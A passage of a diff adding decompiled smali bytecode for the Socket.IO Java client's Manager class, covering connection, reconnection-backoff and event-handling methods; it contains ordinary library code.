+.field public static final EVENT_RECONNECT:Ljava/lang/String; = "reconnect"
+
+.field public static final EVENT_RECONNECTING:Ljava/lang/String; = "reconnecting"
+
+.field public static final EVENT_RECONNECT_ATTEMPT:Ljava/lang/String; = "reconnect_attempt"
+
+.field public static final EVENT_RECONNECT_ERROR:Ljava/lang/String; = "reconnect_error"
+
+.field public static final EVENT_RECONNECT_FAILED:Ljava/lang/String; = "reconnect_failed"
+
+.field public static final EVENT_TRANSPORT:Ljava/lang/String; = "transport"
+
+.field static defaultHostnameVerifier:Ljavax/net/ssl/HostnameVerifier;
+
+.field static defaultSSLContext:Ljavax/net/ssl/SSLContext;
+
+.field private static final logger:Ljava/util/logging/Logger;
+
+
+# instance fields
+.field private _randomizationFactor:D
+
+.field private _reconnection:Z
+
+.field private _reconnectionAttempts:I
+
+.field private _reconnectionDelay:J
+
+.field private _reconnectionDelayMax:J
+
+.field private _timeout:J
+
+.field private backoff:Lio/socket/backo/Backoff;
+
+.field private connecting:Ljava/util/Set;
+ .annotation system Ldalvik/annotation/Signature;
+ value = {
+ "Ljava/util/Set",
+ "<",
+ "Lio/socket/client/Socket;",
+ ">;"
+ }
+ .end annotation
+.end field
+
+.field private decoder:Lio/socket/parser/Parser$Decoder;
+
+.field private encoder:Lio/socket/parser/Parser$Encoder;
+
+.field private encoding:Z
+
+.field engine:Lio/socket/engineio/client/Socket;
+
+.field private lastPing:Ljava/util/Date;
+
+.field nsps:Ljava/util/concurrent/ConcurrentHashMap;
+ .annotation system Ldalvik/annotation/Signature;
+ value = {
+ "Ljava/util/concurrent/ConcurrentHashMap",
+ "<",
+ "Ljava/lang/String;",
+ "Lio/socket/client/Socket;",
+ ">;"
+ }
+ .end annotation
+.end field
+
+.field private opts:Lio/socket/client/Manager$Options;
+
+.field private packetBuffer:Ljava/util/List;
+ .annotation system Ldalvik/annotation/Signature;
+ value = {
+ "Ljava/util/List",
+ "<",
+ "Lio/socket/parser/Packet;",
+ ">;"
+ }
+ .end annotation
+.end field
+
+.field readyState:Lio/socket/client/Manager$ReadyState;
+
+.field private reconnecting:Z
+
+.field private skipReconnect:Z
+
+.field private subs:Ljava/util/Queue;
+ .annotation system Ldalvik/annotation/Signature;
+ value = {
+ "Ljava/util/Queue",
+ "<",
+ "Lio/socket/client/On$Handle;",
+ ">;"
+ }
+ .end annotation
+.end field
+
+.field private uri:Ljava/net/URI;
+
+
+# direct methods
+.method static constructor ()V
+ .locals 1
+
+ .prologue
+ .line 22
+ const-class v0, Lio/socket/client/Manager;
+
+ invoke-virtual {v0}, Ljava/lang/Class;->getName()Ljava/lang/String;
+
+ move-result-object v0
+
+ invoke-static {v0}, Ljava/util/logging/Logger;->getLogger(Ljava/lang/String;)Ljava/util/logging/Logger;
+
+ move-result-object v0
+
+ sput-object v0, Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+
+ return-void
+.end method
+
+.method public constructor ()V
+ .locals 1
+
+ .prologue
+ const/4 v0, 0x0
+
+ .line 108
+ invoke-direct {p0, v0, v0}, Lio/socket/client/Manager;->(Ljava/net/URI;Lio/socket/client/Manager$Options;)V
+
+ .line 109
+ return-void
+.end method
+
+.method public constructor (Lio/socket/client/Manager$Options;)V
+ .locals 1
+ .param p1, "opts" # Lio/socket/client/Manager$Options;
+
+ .prologue
+ .line 116
+ const/4 v0, 0x0
+
+ invoke-direct {p0, v0, p1}, Lio/socket/client/Manager;->(Ljava/net/URI;Lio/socket/client/Manager$Options;)V
+
+ .line 117
+ return-void
+.end method
+
+.method public constructor (Ljava/net/URI;)V
+ .locals 1
+ .param p1, "uri" # Ljava/net/URI;
+
+ .prologue
+ .line 112
+ const/4 v0, 0x0
+
+ invoke-direct {p0, p1, v0}, Lio/socket/client/Manager;->(Ljava/net/URI;Lio/socket/client/Manager$Options;)V
+
+ .line 113
+ return-void
+.end method
+
+.method public constructor (Ljava/net/URI;Lio/socket/client/Manager$Options;)V
+ .locals 4
+ .param p1, "uri" # Ljava/net/URI;
+ .param p2, "opts" # Lio/socket/client/Manager$Options;
+
+ .prologue
+ const-wide/16 v2, 0x0
+
+ .line 119
+ invoke-direct {p0}, Lio/socket/emitter/Emitter;->()V
+
+ .line 91
+ new-instance v0, Ljava/util/HashSet;
+
+ invoke-direct {v0}, Ljava/util/HashSet;->()V
+
+ iput-object v0, p0, Lio/socket/client/Manager;->connecting:Ljava/util/Set;
+
+ .line 120
+ if-nez p2, :cond_0
+
+ .line 121
+ new-instance p2, Lio/socket/client/Manager$Options;
+
+ .end local p2 # "opts":Lio/socket/client/Manager$Options;
+ invoke-direct {p2}, Lio/socket/client/Manager$Options;->()V
+
+ .line 123
+ .restart local p2 # "opts":Lio/socket/client/Manager$Options;
+ :cond_0
+ iget-object v0, p2, Lio/socket/client/Manager$Options;->path:Ljava/lang/String;
+
+ if-nez v0, :cond_1
+
+ .line 124
+ const-string v0, "/socket.io"
+
+ iput-object v0, p2, Lio/socket/client/Manager$Options;->path:Ljava/lang/String;
+
+ .line 126
+ :cond_1
+ iget-object v0, p2, Lio/socket/client/Manager$Options;->sslContext:Ljavax/net/ssl/SSLContext;
+
+ if-nez v0, :cond_2
+
+ .line 127
+ sget-object v0, Lio/socket/client/Manager;->defaultSSLContext:Ljavax/net/ssl/SSLContext;
+
+ iput-object v0, p2, Lio/socket/client/Manager$Options;->sslContext:Ljavax/net/ssl/SSLContext;
+
+ .line 129
+ :cond_2
+ iget-object v0, p2, Lio/socket/client/Manager$Options;->hostnameVerifier:Ljavax/net/ssl/HostnameVerifier;
+
+ if-nez v0, :cond_3
+
+ .line 130
+ sget-object v0, Lio/socket/client/Manager;->defaultHostnameVerifier:Ljavax/net/ssl/HostnameVerifier;
+
+ iput-object v0, p2, Lio/socket/client/Manager$Options;->hostnameVerifier:Ljavax/net/ssl/HostnameVerifier;
+
+ .line 132
+ :cond_3
+ iput-object p2, p0, Lio/socket/client/Manager;->opts:Lio/socket/client/Manager$Options;
+
+ .line 133
+ new-instance v0, Ljava/util/concurrent/ConcurrentHashMap;
+
+ invoke-direct {v0}, Ljava/util/concurrent/ConcurrentHashMap;->()V
+
+ iput-object v0, p0, Lio/socket/client/Manager;->nsps:Ljava/util/concurrent/ConcurrentHashMap;
+
+ .line 134
+ new-instance v0, Ljava/util/LinkedList;
+
+ invoke-direct {v0}, Ljava/util/LinkedList;->()V
+
+ iput-object v0, p0, Lio/socket/client/Manager;->subs:Ljava/util/Queue;
+
+ .line 135
+ iget-boolean v0, p2, Lio/socket/client/Manager$Options;->reconnection:Z
+
+ invoke-virtual {p0, v0}, Lio/socket/client/Manager;->reconnection(Z)Lio/socket/client/Manager;
+
+ .line 136
+ iget v0, p2, Lio/socket/client/Manager$Options;->reconnectionAttempts:I
+
+ if-eqz v0, :cond_4
+
+ iget v0, p2, Lio/socket/client/Manager$Options;->reconnectionAttempts:I
+
+ :goto_0
+ invoke-virtual {p0, v0}, Lio/socket/client/Manager;->reconnectionAttempts(I)Lio/socket/client/Manager;
+
+ .line 137
+ iget-wide v0, p2, Lio/socket/client/Manager$Options;->reconnectionDelay:J
+
+ cmp-long v0, v0, v2
+
+ if-eqz v0, :cond_5
+
+ iget-wide v0, p2, Lio/socket/client/Manager$Options;->reconnectionDelay:J
+
+ :goto_1
+ invoke-virtual {p0, v0, v1}, Lio/socket/client/Manager;->reconnectionDelay(J)Lio/socket/client/Manager;
+
+ .line 138
+ iget-wide v0, p2, Lio/socket/client/Manager$Options;->reconnectionDelayMax:J
+
+ cmp-long v0, v0, v2
+
+ if-eqz v0, :cond_6
+
+ iget-wide v0, p2, Lio/socket/client/Manager$Options;->reconnectionDelayMax:J
+
+ :goto_2
+ invoke-virtual {p0, v0, v1}, Lio/socket/client/Manager;->reconnectionDelayMax(J)Lio/socket/client/Manager;
+
+ .line 139
+ iget-wide v0, p2, Lio/socket/client/Manager$Options;->randomizationFactor:D
+
+ const-wide/16 v2, 0x0
+
+ cmpl-double v0, v0, v2
+
+ if-eqz v0, :cond_7
+
+ iget-wide v0, p2, Lio/socket/client/Manager$Options;->randomizationFactor:D
+
+ :goto_3
+ invoke-virtual {p0, v0, v1}, Lio/socket/client/Manager;->randomizationFactor(D)Lio/socket/client/Manager;
+
+ .line 140
+ new-instance v0, Lio/socket/backo/Backoff;
+
+ invoke-direct {v0}, Lio/socket/backo/Backoff;->()V
+
+ .line 141
+ invoke-virtual {p0}, Lio/socket/client/Manager;->reconnectionDelay()J
+
+ move-result-wide v2
+
+ invoke-virtual {v0, v2, v3}, Lio/socket/backo/Backoff;->setMin(J)Lio/socket/backo/Backoff;
+
+ move-result-object v0
+
+ .line 142
+ invoke-virtual {p0}, Lio/socket/client/Manager;->reconnectionDelayMax()J
+
+ move-result-wide v2
+
+ invoke-virtual {v0, v2, v3}, Lio/socket/backo/Backoff;->setMax(J)Lio/socket/backo/Backoff;
+
+ move-result-object v0
+
+ .line 143
+ invoke-virtual {p0}, Lio/socket/client/Manager;->randomizationFactor()D
+
+ move-result-wide v2
+
+ invoke-virtual {v0, v2, v3}, Lio/socket/backo/Backoff;->setJitter(D)Lio/socket/backo/Backoff;
+
+ move-result-object v0
+
+ iput-object v0, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ .line 144
+ iget-wide v0, p2, Lio/socket/client/Manager$Options;->timeout:J
+
+ invoke-virtual {p0, v0, v1}, Lio/socket/client/Manager;->timeout(J)Lio/socket/client/Manager;
+
+ .line 145
+ sget-object v0, Lio/socket/client/Manager$ReadyState;->CLOSED:Lio/socket/client/Manager$ReadyState;
+
+ iput-object v0, p0, Lio/socket/client/Manager;->readyState:Lio/socket/client/Manager$ReadyState;
+
+ .line 146
+ iput-object p1, p0, Lio/socket/client/Manager;->uri:Ljava/net/URI;
+
+ .line 147
+ const/4 v0, 0x0
+
+ iput-boolean v0, p0, Lio/socket/client/Manager;->encoding:Z
+
+ .line 148
+ new-instance v0, Ljava/util/ArrayList;
+
+ invoke-direct {v0}, Ljava/util/ArrayList;->()V
+
+ iput-object v0, p0, Lio/socket/client/Manager;->packetBuffer:Ljava/util/List;
+
+ .line 149
+ new-instance v0, Lio/socket/parser/Parser$Encoder;
+
+ invoke-direct {v0}, Lio/socket/parser/Parser$Encoder;->()V
+
+ iput-object v0, p0, Lio/socket/client/Manager;->encoder:Lio/socket/parser/Parser$Encoder;
+
+ .line 150
+ new-instance v0, Lio/socket/parser/Parser$Decoder;
+
+ invoke-direct {v0}, Lio/socket/parser/Parser$Decoder;->()V
+
+ iput-object v0, p0, Lio/socket/client/Manager;->decoder:Lio/socket/parser/Parser$Decoder;
+
+ .line 151
+ return-void
+
+ .line 136
+ :cond_4
+ const v0, 0x7fffffff
+
+ goto :goto_0
+
+ .line 137
+ :cond_5
+ const-wide/16 v0, 0x3e8
+
+ goto :goto_1
+
+ .line 138
+ :cond_6
+ const-wide/16 v0, 0x1388
+
+ goto :goto_2
+
+ .line 139
+ :cond_7
+ const-wide/high16 v0, 0x3fe0000000000000L # 0.5
+
+ goto :goto_3
+.end method
+
+.method static synthetic access$000()Ljava/util/logging/Logger;
+ .locals 1
+
+ .prologue
+ .line 20
+ sget-object v0, Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+
+ return-object v0
+.end method
+
+.method static synthetic access$100(Lio/socket/client/Manager;)Ljava/net/URI;
+ .locals 1
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .prologue
+ .line 20
+ iget-object v0, p0, Lio/socket/client/Manager;->uri:Ljava/net/URI;
+
+ return-object v0
+.end method
+
+.method static synthetic access$1000(Lio/socket/client/Manager;Ljava/lang/String;)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+ .param p1, "x1" # Ljava/lang/String;
+
+ .prologue
+ .line 20
+ invoke-direct {p0, p1}, Lio/socket/client/Manager;->ondata(Ljava/lang/String;)V
+
+ return-void
+.end method
+
+.method static synthetic access$1100(Lio/socket/client/Manager;[B)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+ .param p1, "x1" # [B
+
+ .prologue
+ .line 20
+ invoke-direct {p0, p1}, Lio/socket/client/Manager;->ondata([B)V
+
+ return-void
+.end method
+
+.method static synthetic access$1200(Lio/socket/client/Manager;)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .prologue
+ .line 20
+ invoke-direct {p0}, Lio/socket/client/Manager;->onping()V
+
+ return-void
+.end method
+
+.method static synthetic access$1300(Lio/socket/client/Manager;)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .prologue
+ .line 20
+ invoke-direct {p0}, Lio/socket/client/Manager;->onpong()V
+
+ return-void
+.end method
+
+.method static synthetic access$1400(Lio/socket/client/Manager;Ljava/lang/Exception;)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+ .param p1, "x1" # Ljava/lang/Exception;
+
+ .prologue
+ .line 20
+ invoke-direct {p0, p1}, Lio/socket/client/Manager;->onerror(Ljava/lang/Exception;)V
+
+ return-void
+.end method
+
+.method static synthetic access$1500(Lio/socket/client/Manager;Ljava/lang/String;)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+ .param p1, "x1" # Ljava/lang/String;
+
+ .prologue
+ .line 20
+ invoke-direct {p0, p1}, Lio/socket/client/Manager;->onclose(Ljava/lang/String;)V
+
+ return-void
+.end method
+
+.method static synthetic access$1600(Lio/socket/client/Manager;Lio/socket/parser/Packet;)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+ .param p1, "x1" # Lio/socket/parser/Packet;
+
+ .prologue
+ .line 20
+ invoke-direct {p0, p1}, Lio/socket/client/Manager;->ondecoded(Lio/socket/parser/Packet;)V
+
+ return-void
+.end method
+
+.method static synthetic access$1700(Lio/socket/client/Manager;)Ljava/util/Set;
+ .locals 1
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .prologue
+ .line 20
+ iget-object v0, p0, Lio/socket/client/Manager;->connecting:Ljava/util/Set;
+
+ return-object v0
+.end method
+
+.method static synthetic access$1802(Lio/socket/client/Manager;Z)Z
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+ .param p1, "x1" # Z
+
+ .prologue
+ .line 20
+ iput-boolean p1, p0, Lio/socket/client/Manager;->encoding:Z
+
+ return p1
+.end method
+
+.method static synthetic access$1900(Lio/socket/client/Manager;)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .prologue
+ .line 20
+ invoke-direct {p0}, Lio/socket/client/Manager;->processPacketQueue()V
+
+ return-void
+.end method
+
+.method static synthetic access$200(Lio/socket/client/Manager;)Lio/socket/client/Manager$Options;
+ .locals 1
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .prologue
+ .line 20
+ iget-object v0, p0, Lio/socket/client/Manager;->opts:Lio/socket/client/Manager$Options;
+
+ return-object v0
+.end method
+
+.method static synthetic access$2000(Lio/socket/client/Manager;)Lio/socket/backo/Backoff;
+ .locals 1
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .prologue
+ .line 20
+ iget-object v0, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ return-object v0
+.end method
+
+.method static synthetic access$2102(Lio/socket/client/Manager;Z)Z
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+ .param p1, "x1" # Z
+
+ .prologue
+ .line 20
+ iput-boolean p1, p0, Lio/socket/client/Manager;->reconnecting:Z
+
+ return p1
+.end method
+
+.method static synthetic access$2200(Lio/socket/client/Manager;)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .prologue
+ .line 20
+ invoke-direct {p0}, Lio/socket/client/Manager;->reconnect()V
+
+ return-void
+.end method
+
+.method static synthetic access$2300(Lio/socket/client/Manager;)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .prologue
+ .line 20
+ invoke-direct {p0}, Lio/socket/client/Manager;->onreconnect()V
+
+ return-void
+.end method
+
+.method static synthetic access$300(Lio/socket/client/Manager;)Z
+ .locals 1
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .prologue
+ .line 20
+ iget-boolean v0, p0, Lio/socket/client/Manager;->skipReconnect:Z
+
+ return v0
+.end method
+
+.method static synthetic access$302(Lio/socket/client/Manager;Z)Z
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+ .param p1, "x1" # Z
+
+ .prologue
+ .line 20
+ iput-boolean p1, p0, Lio/socket/client/Manager;->skipReconnect:Z
+
+ return p1
+.end method
+
+.method static synthetic access$400(Lio/socket/client/Manager;)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .prologue
+ .line 20
+ invoke-direct {p0}, Lio/socket/client/Manager;->onopen()V
+
+ return-void
+.end method
+
+.method static synthetic access$500(Lio/socket/client/Manager;)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .prologue
+ .line 20
+ invoke-direct {p0}, Lio/socket/client/Manager;->cleanup()V
+
+ return-void
+.end method
+
+.method static synthetic access$600(Lio/socket/client/Manager;Ljava/lang/String;[Ljava/lang/Object;)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+ .param p1, "x1" # Ljava/lang/String;
+ .param p2, "x2" # [Ljava/lang/Object;
+
+ .prologue
+ .line 20
+ invoke-direct {p0, p1, p2}, Lio/socket/client/Manager;->emitAll(Ljava/lang/String;[Ljava/lang/Object;)V
+
+ return-void
+.end method
+
+.method static synthetic access$700(Lio/socket/client/Manager;)V
+ .locals 0
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .prologue
+ .line 20
+ invoke-direct {p0}, Lio/socket/client/Manager;->maybeReconnectOnOpen()V
+
+ return-void
+.end method
+
+.method static synthetic access$800(Lio/socket/client/Manager;)J
+ .locals 2
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .prologue
+ .line 20
+ iget-wide v0, p0, Lio/socket/client/Manager;->_timeout:J
+
+ return-wide v0
+.end method
+
+.method static synthetic access$900(Lio/socket/client/Manager;)Ljava/util/Queue;
+ .locals 1
+ .param p0, "x0" # Lio/socket/client/Manager;
+
+ .prologue
+ .line 20
+ iget-object v0, p0, Lio/socket/client/Manager;->subs:Ljava/util/Queue;
+
+ return-object v0
+.end method
+
+.method private cleanup()V
+ .locals 3
+
+ .prologue
+ .line 488
+ sget-object v1, Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+
+ const-string v2, "cleanup"
+
+ invoke-virtual {v1, v2}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 491
+ :goto_0
+ iget-object v1, p0, Lio/socket/client/Manager;->subs:Ljava/util/Queue;
+
+ invoke-interface {v1}, Ljava/util/Queue;->poll()Ljava/lang/Object;
+
+ move-result-object v0
+
+ check-cast v0, Lio/socket/client/On$Handle;
+
+ .local v0, "sub":Lio/socket/client/On$Handle;
+ if-eqz v0, :cond_0
+
+ invoke-interface {v0}, Lio/socket/client/On$Handle;->destroy()V
+
+ goto :goto_0
+
+ .line 493
+ :cond_0
+ iget-object v1, p0, Lio/socket/client/Manager;->packetBuffer:Ljava/util/List;
+
+ invoke-interface {v1}, Ljava/util/List;->clear()V
+
+ .line 494
+ const/4 v1, 0x0
+
+ iput-boolean v1, p0, Lio/socket/client/Manager;->encoding:Z
+
+ .line 495
+ const/4 v1, 0x0
+
+ iput-object v1, p0, Lio/socket/client/Manager;->lastPing:Ljava/util/Date;
+
+ .line 497
+ iget-object v1, p0, Lio/socket/client/Manager;->decoder:Lio/socket/parser/Parser$Decoder;
+
+ invoke-virtual {v1}, Lio/socket/parser/Parser$Decoder;->destroy()V
+
+ .line 498
+ return-void
+.end method
+
+.method private varargs emitAll(Ljava/lang/String;[Ljava/lang/Object;)V
+ .locals 3
+ .param p1, "event" # Ljava/lang/String;
+ .param p2, "args" # [Ljava/lang/Object;
+
+ .prologue
+ .line 154
+ invoke-virtual {p0, p1, p2}, Lio/socket/client/Manager;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 155
+ iget-object v1, p0, Lio/socket/client/Manager;->nsps:Ljava/util/concurrent/ConcurrentHashMap;
+
+ invoke-virtual {v1}, Ljava/util/concurrent/ConcurrentHashMap;->values()Ljava/util/Collection;
+
+ move-result-object v1
+
+ invoke-interface {v1}, Ljava/util/Collection;->iterator()Ljava/util/Iterator;
+
+ move-result-object v1
+
+ :goto_0
+ invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
+
+ move-result v2
+
+ if-eqz v2, :cond_0
+
+ invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
+
+ move-result-object v0
+
+ check-cast v0, Lio/socket/client/Socket;
+
+ .line 156
+ .local v0, "socket":Lio/socket/client/Socket;
+ invoke-virtual {v0, p1, p2}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ goto :goto_0
+
+ .line 158
+ .end local v0 # "socket":Lio/socket/client/Socket;
+ :cond_0
+ return-void
+.end method
+
+.method private maybeReconnectOnOpen()V
+ .locals 1
+
+ .prologue
+ .line 234
+ iget-boolean v0, p0, Lio/socket/client/Manager;->reconnecting:Z
+
+ if-nez v0, :cond_0
+
+ iget-boolean v0, p0, Lio/socket/client/Manager;->_reconnection:Z
+
+ if-eqz v0, :cond_0
+
+ iget-object v0, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ invoke-virtual {v0}, Lio/socket/backo/Backoff;->getAttempts()I
+
+ move-result v0
+
+ if-nez v0, :cond_0
+
+ .line 235
+ invoke-direct {p0}, Lio/socket/client/Manager;->reconnect()V
+
+ .line 237
+ :cond_0
+ return-void
+.end method
+
+.method private onclose(Ljava/lang/String;)V
+ .locals 3
+ .param p1, "reason" # Ljava/lang/String;
+
+ .prologue
+ .line 517
+ sget-object v0, Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+
+ const-string v1, "onclose"
+
+ invoke-virtual {v0, v1}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 518
+ invoke-direct {p0}, Lio/socket/client/Manager;->cleanup()V
+
+ .line 519
+ iget-object v0, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ invoke-virtual {v0}, Lio/socket/backo/Backoff;->reset()V
+
+ .line 520
+ sget-object v0, Lio/socket/client/Manager$ReadyState;->CLOSED:Lio/socket/client/Manager$ReadyState;
+
+ iput-object v0, p0, Lio/socket/client/Manager;->readyState:Lio/socket/client/Manager$ReadyState;
+
+ .line 521
+ const-string v0, "close"
+
+ const/4 v1, 0x1
+
+ new-array v1, v1, [Ljava/lang/Object;
+
+ const/4 v2, 0x0
+
+ aput-object p1, v1, v2
+
+ invoke-virtual {p0, v0, v1}, Lio/socket/client/Manager;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 523
+ iget-boolean v0, p0, Lio/socket/client/Manager;->_reconnection:Z
+
+ if-eqz v0, :cond_0
+
+ iget-boolean v0, p0, Lio/socket/client/Manager;->skipReconnect:Z
+
+ if-nez v0, :cond_0
+
+ .line 524
+ invoke-direct {p0}, Lio/socket/client/Manager;->reconnect()V
+
+ .line 526
+ :cond_0
+ return-void
+.end method
+
+.method private ondata(Ljava/lang/String;)V
+ .locals 1
+ .param p1, "data" # Ljava/lang/String;
+
+ .prologue
+ .line 399
+ iget-object v0, p0, Lio/socket/client/Manager;->decoder:Lio/socket/parser/Parser$Decoder;
+
+ invoke-virtual {v0, p1}, Lio/socket/parser/Parser$Decoder;->add(Ljava/lang/String;)V
+
+ .line 400
+ return-void
+.end method
+
+.method private ondata([B)V
+ .locals 1
+ .param p1, "data" # [B
+
+ .prologue
+ .line 403
+ iget-object v0, p0, Lio/socket/client/Manager;->decoder:Lio/socket/parser/Parser$Decoder;
+
+ invoke-virtual {v0, p1}, Lio/socket/parser/Parser$Decoder;->add([B)V
+
+ .line 404
+ return-void
+.end method
+
+.method private ondecoded(Lio/socket/parser/Packet;)V
+ .locals 3
+ .param p1, "packet" # Lio/socket/parser/Packet;
+
+ .prologue
+ .line 407
+ const-string v0, "packet"
+
+ const/4 v1, 0x1
+
+ new-array v1, v1, [Ljava/lang/Object;
+
+ const/4 v2, 0x0
+
+ aput-object p1, v1, v2
+
+ invoke-virtual {p0, v0, v1}, Lio/socket/client/Manager;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 408
+ return-void
+.end method
+
+.method private onerror(Ljava/lang/Exception;)V
+ .locals 3
+ .param p1, "err" # Ljava/lang/Exception;
+
+ .prologue
+ .line 411
+ sget-object v0, Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+
+ sget-object v1, Ljava/util/logging/Level;->FINE:Ljava/util/logging/Level;
+
+ const-string v2, "error"
+
+ invoke-virtual {v0, v1, v2, p1}, Ljava/util/logging/Logger;->log(Ljava/util/logging/Level;Ljava/lang/String;Ljava/lang/Throwable;)V
+
+ .line 412
+ const-string v0, "error"
+
+ const/4 v1, 0x1
+
+ new-array v1, v1, [Ljava/lang/Object;
+
+ const/4 v2, 0x0
+
+ aput-object p1, v1, v2
+
+ invoke-direct {p0, v0, v1}, Lio/socket/client/Manager;->emitAll(Ljava/lang/String;[Ljava/lang/Object;)V
+
+ .line 413
+ return-void
+.end method
+
+.method private onopen()V
+ .locals 5
+
+ .prologue
+ .line 337
+ sget-object v1, Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+
+ const-string v2, "open"
+
+ invoke-virtual {v1, v2}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 339
+ invoke-direct {p0}, Lio/socket/client/Manager;->cleanup()V
+
+ .line 341
+ sget-object v1, Lio/socket/client/Manager$ReadyState;->OPEN:Lio/socket/client/Manager$ReadyState;
+
+ iput-object v1, p0, Lio/socket/client/Manager;->readyState:Lio/socket/client/Manager$ReadyState;
+
+ .line 342
+ const-string v1, "open"
+
+ const/4 v2, 0x0
+
+ new-array v2, v2, [Ljava/lang/Object;
+
+ invoke-virtual {p0, v1, v2}, Lio/socket/client/Manager;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 344
+ iget-object v0, p0, Lio/socket/client/Manager;->engine:Lio/socket/engineio/client/Socket;
+
+ .line 345
+ .local v0, "socket":Lio/socket/engineio/client/Socket;
+ iget-object v1, p0, Lio/socket/client/Manager;->subs:Ljava/util/Queue;
+
+ const-string v2, "data"
+
+ new-instance v3, Lio/socket/client/Manager$2;
+
+ invoke-direct {v3, p0}, Lio/socket/client/Manager$2;->(Lio/socket/client/Manager;)V
+
+ invoke-static {v0, v2, v3}, Lio/socket/client/On;->on(Lio/socket/emitter/Emitter;Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/client/On$Handle;
+
+ move-result-object v2
+
+ invoke-interface {v1, v2}, Ljava/util/Queue;->add(Ljava/lang/Object;)Z
+
+ .line 356
+ iget-object v1, p0, Lio/socket/client/Manager;->subs:Ljava/util/Queue;
+
+ const-string v2, "ping"
+
+ new-instance v3, Lio/socket/client/Manager$3;
+
+ invoke-direct {v3, p0}, Lio/socket/client/Manager$3;->(Lio/socket/client/Manager;)V
+
+ invoke-static {v0, v2, v3}, Lio/socket/client/On;->on(Lio/socket/emitter/Emitter;Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/client/On$Handle;
+
+ move-result-object v2
+
+ invoke-interface {v1, v2}, Ljava/util/Queue;->add(Ljava/lang/Object;)Z
+
+ .line 362
+ iget-object v1, p0, Lio/socket/client/Manager;->subs:Ljava/util/Queue;
+
+ const-string v2, "pong"
+
+ new-instance v3, Lio/socket/client/Manager$4;
+
+ invoke-direct {v3, p0}, Lio/socket/client/Manager$4;->(Lio/socket/client/Manager;)V
+
+ invoke-static {v0, v2, v3}, Lio/socket/client/On;->on(Lio/socket/emitter/Emitter;Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/client/On$Handle;
+
+ move-result-object v2
+
+ invoke-interface {v1, v2}, Ljava/util/Queue;->add(Ljava/lang/Object;)Z
+
+ .line 368
+ iget-object v1, p0, Lio/socket/client/Manager;->subs:Ljava/util/Queue;
+
+ const-string v2, "error"
+
+ new-instance v3, Lio/socket/client/Manager$5;
+
+ invoke-direct {v3, p0}, Lio/socket/client/Manager$5;->(Lio/socket/client/Manager;)V
+
+ invoke-static {v0, v2, v3}, Lio/socket/client/On;->on(Lio/socket/emitter/Emitter;Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/client/On$Handle;
+
+ move-result-object v2
+
+ invoke-interface {v1, v2}, Ljava/util/Queue;->add(Ljava/lang/Object;)Z
+
+ .line 374
+ iget-object v1, p0, Lio/socket/client/Manager;->subs:Ljava/util/Queue;
+
+ const-string v2, "close"
+
+ new-instance v3, Lio/socket/client/Manager$6;
+
+ invoke-direct {v3, p0}, Lio/socket/client/Manager$6;->(Lio/socket/client/Manager;)V
+
+ invoke-static {v0, v2, v3}, Lio/socket/client/On;->on(Lio/socket/emitter/Emitter;Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/client/On$Handle;
+
+ move-result-object v2
+
+ invoke-interface {v1, v2}, Ljava/util/Queue;->add(Ljava/lang/Object;)Z
+
+ .line 380
+ iget-object v1, p0, Lio/socket/client/Manager;->subs:Ljava/util/Queue;
+
+ iget-object v2, p0, Lio/socket/client/Manager;->decoder:Lio/socket/parser/Parser$Decoder;
+
